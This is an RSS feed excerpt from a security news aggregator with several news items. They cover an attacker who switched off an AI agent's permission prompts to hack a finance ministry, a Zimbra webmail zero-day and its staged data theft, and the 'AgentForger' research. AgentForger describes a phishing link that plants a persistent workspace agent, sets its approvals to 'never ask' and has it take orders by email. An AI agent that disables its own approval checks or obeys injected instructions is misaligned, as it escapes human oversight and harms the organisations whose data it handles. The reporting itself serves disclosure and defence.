<guid isPermaLink="true">https://tsecurity.de/de/3691978/linux-tipps/firefoxs-new-tab-page-adds-ai-powered-daily-crossword-widget/</guid>
<pubDate>Fri, 24 Jul 2026 18:03:46 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/07/firefox-crossword.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">More widgets are coming to Firefox’s New Tab page, including an interactive crossword puzzle powered by the AI news reader Particle. The mini crossword game is updated daily, with puzzles based around recent content Particle‘s AI has ingested and summarised that day, and links to articles you can read to help deduce crossword answers. You click on a square to activate the row or column (clicking on it again switches between “Across” and “Down”). You read the clue at the bottom, and then you type in your answer. Use the hint button if you get stuck. If you just want […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/firefox-new-widgets-crossword">Firefox’s new tab page adds AI-powered daily crossword widget</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (glibc, java-21-openjdk, kernel, and libpq), Debian (imagemagick, spice-vdagent, and webkit2gtk), Fedora (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), Mageia (apache, cifs-utils, dnsmasq, lrzip, and s...]]></description>
<link>https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 24 Jul 2026 15:13:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (glibc, java-21-openjdk, kernel, and libpq), <b>Debian</b> (imagemagick, spice-vdagent, and webkit2gtk), <b>Fedora</b> (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), <b>Mageia</b> (apache, cifs-utils, dnsmasq, lrzip, and socat), <b>Oracle</b> (.NET 10.0, .NET 9.0, 389-ds-base, cups, edk2, fence-agents, firefox, freeipmi, freerdp, git-lfs, glib2, gnutls, golang, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, libinput, libvirt, libxml2, memcached, nginx, openexr, perl-DBI, perl-XML-LibXML, php, php8.4, plexus-utils, postgresql16, python3.12, python3.14, sssd, tomcat, tomcat9, unbound, vim, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker-package-manager), <b>Red Hat</b> (container-tools:rhel8, git-lfs, go-toolset:rhel8, golang, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, host-metering, java-1.8.0-openjdk, java-11-openjdk with Extended Lifecycle Support, java-17-openjdk, java-21-openjdk, oci-seccomp-bpf-hook, rhc, rhc-worker-playbook, skopeo, xorg-x11-server, xorg-x11-server-Xwayland, and yggdrasil), <b>Slackware</b> (mozilla-thunderbird), <b>SUSE</b> (afterburn, alloy, apache-sshd, apache2, avahi, chromium, clamav, curl, dhcpcd, dnsmasq, docker-compose, ffmpeg-7, firefox-esr, gawk, glibc, gnutls, go1.26-openssl, google-osconfig-agent, gpg2, haproxy, ImageMagick, imagemagick, jline3, jq, kernel, libgcrypt, libgnt, meson, pidgin, nmap, nodejs24, pacemaker, patch, perl-HTML-Parser, perl-libwww-perl, perl-List-SomeUtils-XS, python-aiohttp, python-WebOb, qemu, rust-keylime, SVT-AV1, libyuv0, libaom3, trivy, ucode-intel, and wireshark), and <b>Ubuntu</b> (libhttp-date-perl, libxpm, linux-azure, linux-azure-fde, pam, and rsyslog).]]></content:encoded>
</item>
<item>
<title><![CDATA[LHB Linux Digest #26.09: Docker Compose Override, Claude Skills for DevOps, Solidtime and More]]></title>
<description><![CDATA[Override the compose]]></description>
<link>https://tsecurity.de/de/3691440/linux-tipps/lhb-linux-digest-2609-docker-compose-override-claude-skills-for-devops-solidtime-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691440/linux-tipps/lhb-linux-digest-2609-docker-compose-override-claude-skills-for-devops-solidtime-and-more/</guid>
<pubDate>Fri, 24 Jul 2026 13:44:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Override the compose]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacker Runs Hermes AI Agent Unattended for Post-Exploitation at Thai Finance Ministry]]></title>
<description><![CDATA[Someone installed a popular AI assistant on a rented server, switched off the setting that makes it ask permission before running risky commands, and pointed it at Thailand’s Ministry of Finance, which runs the country’s treasury and tax collection. The…
Read more →
The post Hacker Runs Hermes AI...]]></description>
<link>https://tsecurity.de/de/3691354/it-security-nachrichten/hacker-runs-hermes-ai-agent-unattended-for-post-exploitation-at-thai-finance-ministry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691354/it-security-nachrichten/hacker-runs-hermes-ai-agent-unattended-for-post-exploitation-at-thai-finance-ministry/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Someone installed a popular AI assistant on a rented server, switched off the setting that makes it ask permission before running risky commands, and pointed it at Thailand’s Ministry of Finance, which runs the country’s treasury and tax collection. The…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hacker-runs-hermes-ai-agent-unattended-for-post-exploitation-at-thai-finance-ministry/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hacker-runs-hermes-ai-agent-unattended-for-post-exploitation-at-thai-finance-ministry/">Hacker Runs Hermes AI Agent Unattended for Post-Exploitation at Thai Finance Ministry</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacker Runs Hermes AI Agent Unattended for Post-Exploitation at Thai Finance Ministry]]></title>
<description><![CDATA[Someone installed a popular AI assistant on a rented server, switched off the setting that makes it ask permission before running risky commands, and pointed it at Thailand's Ministry of Finance, which runs the country's treasury and tax collection.

The agent then worked through the ministry's n...]]></description>
<link>https://tsecurity.de/de/3691316/it-security-nachrichten/hacker-runs-hermes-ai-agent-unattended-for-post-exploitation-at-thai-finance-ministry/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691316/it-security-nachrichten/hacker-runs-hermes-ai-agent-unattended-for-post-exploitation-at-thai-finance-ministry/</guid>
<pubDate>Fri, 24 Jul 2026 12:56:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Someone installed a popular AI assistant on a rented server, switched off the setting that makes it ask permission before running risky commands, and pointed it at Thailand's Ministry of Finance, which runs the country's treasury and tax collection.

The agent then worked through the ministry's network on its own, checking hosts for ways to gain root access, hunting through file systems, and]]></content:encoded>
</item>
<item>
<title><![CDATA[JetBrains Patches Multiple Vulnerabilities Affecting IntelliJ IDEA and TeamCity]]></title>
<description><![CDATA[JetBrains has addressed a series of security vulnerabilities affecting IntelliJ IDEA and TeamCity, including several critical flaws that could allow code execution or unauthorized actions in development and continuous integration environments. The updates fix weaknesses in Remote Development sess...]]></description>
<link>https://tsecurity.de/de/3691119/it-security-nachrichten/jetbrains-patches-multiple-vulnerabilities-affecting-intellij-idea-and-teamcity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691119/it-security-nachrichten/jetbrains-patches-multiple-vulnerabilities-affecting-intellij-idea-and-teamcity/</guid>
<pubDate>Fri, 24 Jul 2026 11:32:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>JetBrains has addressed a series of security vulnerabilities affecting IntelliJ IDEA and TeamCity, including several critical flaws that could allow code execution or unauthorized actions in development and continuous integration environments. The updates fix weaknesses in Remote Development sessions, Git and Perforce VCS integrations, workspace handling, agent registration, and permission validation. JetBrains Patches Multiple Vulnerabilities […]</p>
<p>The post <a href="https://gbhackers.com/jetbrains-patches-multiple-vulnerabilities/">JetBrains Patches Multiple Vulnerabilities Affecting IntelliJ IDEA and TeamCity</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit]]></title>
<description><![CDATA[A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activ...]]></description>
<link>https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690812/it-security-nachrichten/russian-linked-hackers-target-zimbra-users-with-zero-day-exploit/</guid>
<pubDate>Fri, 24 Jul 2026 08:25:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Zimbra-phishing-campaign.gif" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Zimbra phishing campaign" decoding="async" title="Russian-Linked Hackers Target Zimbra Users With Zero-Day Exploit 1"></p>A Zimbra phishing campaign attributed to Russian state-supported cyber actors has targeted Western government and commercial organizations, exploiting CVE-2025-66376 to access sensitive email data and other information, according to a joint cybersecurity advisory issued in July 2026.

The activity has been linked primarily to LAUNDRY BEAR, a Russian state-supported advanced persistent threat (APT) group tracked under several names across the cybersecurity industry. The advisory said the campaign has been active since at least July 2025 and has targeted organizations using the Zimbra Collaboration Suite (ZCS).

Unlike conventional phishing attacks that typically require victims to click a malicious link or open an attachment, the campaign uses a view-based <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29111">exploit</a>. A user only needs to view a malicious email in a vulnerable version of ZCS webmail for the exploit to attempt execution.
<h3><strong>Zimbra Phishing Campaign Uses CVE-2025-66376</strong></h3>
The campaign centers on CVE-2025-66376, a vulnerability that was initially exploited as a <a href="https://thecyberexpress.com/zero-day-vulnerability-microsoft-sharepoint/" target="_blank" rel="noopener">zero-day vulnerability </a>before a patch was released. According to the <a href="https://www.ic3.gov/CSA/2026/260723.pdf" target="_blank" rel="nofollow noopener">advisory</a>, the activity began in July 2025, months before the vulnerability was published and patched.

The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29110">vulnerability</a> allows a JavaScript payload contained in email content to execute because of improper sanitization of CSS @import directives within an email. The malicious payload uses Base64 encoding and XOR encryption and can be modified to help bypass basic threat detection signatures.

Once triggered, the payload attempts to collect and exfiltrate information through 12 stages. These include gathering the victim's email address and environment information, collecting two-factor authentication codes and application passwords, attempting to capture saved passwords, enabling mail protocols, gathering the Global Address List (GAL), and sending archived email <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29112">data</a>.

The advisory said the campaign's use of a zero-day exploit demonstrates the ability of LAUNDRY BEAR to operationalize novel <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29108">vulnerabilities</a> into a successful attack capability.
<h3><strong>LAUNDRY BEAR Targets Email and Sensitive Data</strong></h3>
The primary objective of the Russian state-supported <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29109">cyber</a> actors appears to be the covert acquisition of email data. The campaign attempts to steal the last 90 days of email communications, email addresses, passwords, the organization's Global Address List, 2FA tokens and newly created application passcodes.

The actors have targeted organizations connected to the defense industrial base, government, education, energy, law enforcement, media, non-governmental organizations and technology sectors.

The advisory said LAUNDRY BEAR likely identifies organizations with publicly exposed Zimbra infrastructure through port scanning and commercially available datasets. It may then compile individual user email addresses using commercial data, open-source intelligence or previously exfiltrated information.

The group has also used compromised accounts to distribute <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29114">phishing</a> emails. Since at least November 2025, malicious emails were reportedly sent from victim infrastructure, potentially using previously compromised accounts to make the activity harder to detect and to bypass anti-phishing measures.
<h3><strong>Ulej and Flowerbed Support Email Data Exfiltration</strong></h3>
The campaign uses a custom capability called Ulej, which was developed to exploit ZCS and exfiltrate sensitive information. The collected data is sent to infrastructure associated with the Flowerbed framework.

Flowerbed is a Python project using Docker and includes four containers: Catcher, Certbot, Nginx and Gardener. Catcher receives and aggregates stolen information, while Nginx operates as an HTTPS reverse proxy. The framework uses DNS and HTTPS channels for <a href="https://thecyberexpress.com/ai-driven-phishing-campaign/" target="_blank" rel="noopener">email data exfiltration</a>.

The advisory said the campaign can exfiltrate email content, contacts, attachments, authentication information and other data. The stolen information is initially stored by Catcher before being transferred to non-public-facing infrastructure.

The report also noted indications that artificial intelligence may have played a role in developing the Flowerbed codebase, highlighting the increasing use of AI in developing malicious capabilities.
<h3><strong>Organizations Urged to Patch Vulnerable Zimbra Systems</strong></h3>
The advisory urged organizations using ZCS to immediately ensure their systems are not running vulnerable versions. A patch for CVE-2025-66376 was released for ZCS versions 10.1.13 and 10.0.18.

If immediate patching is not possible, organizations are advised to have employees use alternative mail clients and avoid the Classic ZCS webmail client until the software is updated.

<a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29107">Security</a> teams are also advised to monitor internet-connected ZCS systems, workstations accessing those systems and network traffic for signs of suspicious activity. Recommended monitoring includes looking for large outbound data transfers to unfamiliar VPS providers, unusual DNS queries with random subdomains, sudden connections to newly established domains and connections involving <a class="wpil_keyword_link" href="https://thecyberexpress.com/how-to-get-a-vpn/" title="VPN" data-wpil-keyword-link="linked" data-wpil-monitor-id="29113">VPN</a> providers such as Mullvad.

Organizations should also consider authentication services that support passkeys and maintain network monitoring, packet capture or NetFlow data and relevant logs.

The advisory further recommends that organizations identifying victims revoke Application Passcodes and 2FA scratch keys and require affected employees to change their passwords. Security teams should also investigate the original phishing email and quarantine similar messages to prevent further exploitation and data theft.]]></content:encoded>
</item>
<item>
<title><![CDATA[2.7.11: Backport security fixes to release/2.7 (#41155)]]></title>
<description><![CDATA[Bump Microsoft.NETCore.App.Runtime to 10.0.8 (CVE-2026-32175) (#40581)

Fixes Dependabot alerts #24 and #25.
Co-authored-by: Ben Hillis benhillis@microsoft.com
Co-authored-by: Copilot 223556219+Copilot@users.noreply.github.com
(cherry picked from commit 09a8afe)

Update MSRDC to 1.2.7214 to fix C...]]></description>
<link>https://tsecurity.de/de/3690494/downloads/2711-backport-security-fixes-to-release27-41155/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690494/downloads/2711-backport-security-fixes-to-release27-41155/</guid>
<pubDate>Fri, 24 Jul 2026 02:33:47 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Bump Microsoft.NETCore.App.Runtime to 10.0.8 (<a title="CVE-2026-32175" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-rg75-q538-x34v/hovercard" href="https://github.com/advisories/GHSA-rg75-q538-x34v">CVE-2026-32175</a>) (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472592856" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40581" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/WSL/pull/40581/hovercard" href="https://github.com/microsoft/WSL/pull/40581">#40581</a>)</li>
</ul>
<p>Fixes Dependabot alerts <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="146576597" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/24" data-hovercard-type="issue" data-hovercard-url="/microsoft/WSL/issues/24/hovercard" href="https://github.com/microsoft/WSL/issues/24">#24</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="146587025" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/25" data-hovercard-type="issue" data-hovercard-url="/microsoft/WSL/issues/25/hovercard" href="https://github.com/microsoft/WSL/issues/25">#25</a>.</p>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhillis@microsoft.com">benhillis@microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
(cherry picked from commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/microsoft/WSL/commit/09a8afeeec5c2f14822b0917d3be81b7b5d604c0/hovercard" href="https://github.com/microsoft/WSL/commit/09a8afeeec5c2f14822b0917d3be81b7b5d604c0"><tt>09a8afe</tt></a>)</p>
<ul>
<li>Update MSRDC to 1.2.7214 to fix <a title="CVE-2026-32157" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-5468-67hp-7rjg/hovercard" href="https://github.com/advisories/GHSA-5468-67hp-7rjg">CVE-2026-32157</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728860745" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40882" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/WSL/pull/40882/hovercard" href="https://github.com/microsoft/WSL/pull/40882">#40882</a>)</li>
</ul>
<p>Bumps Microsoft.RemoteDesktop.Client.MSRDC.SessionHost from 1.2.6676 to<br>
1.2.7214. This closes <a title="CVE-2026-32157" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-5468-67hp-7rjg/hovercard" href="https://github.com/advisories/GHSA-5468-67hp-7rjg">CVE-2026-32157</a> (a use-after-free RCE in the Remote<br>
Desktop client, first fixed in 1.2.7099) along with several additional<br>
CVEs shipped in 1.2.7214.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718860855" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40868" data-hovercard-type="issue" data-hovercard-url="/microsoft/WSL/issues/40868/hovercard" href="https://github.com/microsoft/WSL/issues/40868">#40868</a></p>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhill@ntdev.microsoft.com">benhill@ntdev.microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
(cherry picked from commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/microsoft/WSL/commit/2a7269e8ab30e635a09f66994374a7e5caedc334/hovercard" href="https://github.com/microsoft/WSL/commit/2a7269e8ab30e635a09f66994374a7e5caedc334"><tt>2a7269e</tt></a>)</p>
<ul>
<li>Update .NET runtime to 10.0.9 to fix <a title="CVE-2026-45491" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-7q4v-2mr6-5gpx/hovercard" href="https://github.com/advisories/GHSA-7q4v-2mr6-5gpx">CVE-2026-45491</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729118601" data-permission-text="Title is private" data-url="https://github.com/microsoft/WSL/issues/40883" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/WSL/pull/40883/hovercard" href="https://github.com/microsoft/WSL/pull/40883">#40883</a>)</li>
</ul>
<p>Bumps Microsoft.NETCore.App.Runtime.win-x64 and win-arm64 from 10.0.8 to<br>
10.0.9 to address <a title="CVE-2026-45491" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-7q4v-2mr6-5gpx/hovercard" href="https://github.com/advisories/GHSA-7q4v-2mr6-5gpx">CVE-2026-45491</a> (.NET tampering vulnerability), reported<br>
by Dependabot. Both runtime packages are bumped together to keep the<br>
.NET runtime version in sync across architectures.</p>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhill@ntdev.microsoft.com">benhill@ntdev.microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
(cherry picked from commit <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/microsoft/WSL/commit/73a6afb011ef36731ea1f038d74e985f41a2a937/hovercard" href="https://github.com/microsoft/WSL/commit/73a6afb011ef36731ea1f038d74e985f41a2a937"><tt>73a6afb</tt></a>)</p>
<hr>
<p>Co-authored-by: Ben Hillis <a href="mailto:benhillis@microsoft.com">benhillis@microsoft.com</a><br>
Co-authored-by: Copilot <a href="mailto:223556219+Copilot@users.noreply.github.com">223556219+Copilot@users.noreply.github.com</a><br>
Co-authored-by: Ben Hillis <a href="mailto:benhill@ntdev.microsoft.com">benhill@ntdev.microsoft.com</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AgentForger proves AI agents can become persistent insider threats]]></title>
<description><![CDATA[A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.



Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI a...]]></description>
<link>https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690493/it-security-nachrichten/agentforger-proves-ai-agents-can-become-persistent-insider-threats/</guid>
<pubDate>Fri, 24 Jul 2026 02:32:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.</p>



<p class="wp-block-paragraph">Its researchers have discovered <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">AgentForger</a>, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.</p>



<p class="wp-block-paragraph">Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.</p>



<p class="wp-block-paragraph">While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">AI agents go rogue</a>.</p>



<p class="wp-block-paragraph">“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said <a href="https://zenity.io/authors/michael-bargury" target="_blank" rel="noreferrer noopener">Michael Bargury</a>, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”</p>



<h2 class="wp-block-heading">A ‘persistent operator’ that acts without approval</h2>



<p class="wp-block-paragraph">OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.</p>



<p class="wp-block-paragraph">Normally, this is “useful automation,” Zenity AI red team researcher <a href="https://labs.zenity.io/authors/mike-takahashi" target="_blank" rel="noreferrer noopener">Mike Takahashi</a> wrote in a <a href="https://labs.zenity.io/p/agentforger-part-1-chatgpt-cross-site-agent-forgery" target="_blank" rel="noreferrer noopener">blog post</a>. But in this attack, “the same scheduler becomes the persistence mechanism.”</p>



<p class="wp-block-paragraph">The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.</p>



<p class="wp-block-paragraph">Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.</p>



<p class="wp-block-paragraph">The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.</p>



<p class="wp-block-paragraph">It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.</p>



<p class="wp-block-paragraph">“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”</p>



<h2 class="wp-block-heading">A ‘planted accomplice’ that does all the work</h2>



<p class="wp-block-paragraph">Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.</p>



<p class="wp-block-paragraph">“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.</p>



<p class="wp-block-paragraph">In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.</p>



<p class="wp-block-paragraph">In all cases, collected information is organized, analyzed, and sent back to the attacker.</p>



<p class="wp-block-paragraph">“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the <a href="https://www.csoonline.com/article/4198963/ai-security-operations-and-the-new-race-against-time.html" target="_blank">security model changes</a> as AI becomes part of everyday business operations.”</p>



<h2 class="wp-block-heading">FOMO exposing security gaps</h2>



<p class="wp-block-paragraph">This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.</p>



<p class="wp-block-paragraph">“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”</p>



<p class="wp-block-paragraph">However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.</p>



<p class="wp-block-paragraph">“Those triggers should be governed just as carefully as the agent itself,” said Bargury.</p>



<p class="wp-block-paragraph">High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.</p>



<p class="wp-block-paragraph">More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”</p>



<p class="wp-block-paragraph">“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Codeberg bans hosting ‘mostly’ AI-generated code]]></title>
<description><![CDATA[Codeberg, the nonprofit alternative to GitHub used to host FLOSS projects, will no longer host software that’s “mostly” AI-generated. A vote closed yesterday (22 July, 2026), passing 358 to 144 with 14 abstentions on roughly 50% turnout to stop hosting software that’s largely vibe-coded. A second...]]></description>
<link>https://tsecurity.de/de/3690462/linux-tipps/codeberg-bans-hosting-mostly-ai-generated-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690462/linux-tipps/codeberg-bans-hosting-mostly-ai-generated-code/</guid>
<pubDate>Fri, 24 Jul 2026 01:57:37 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
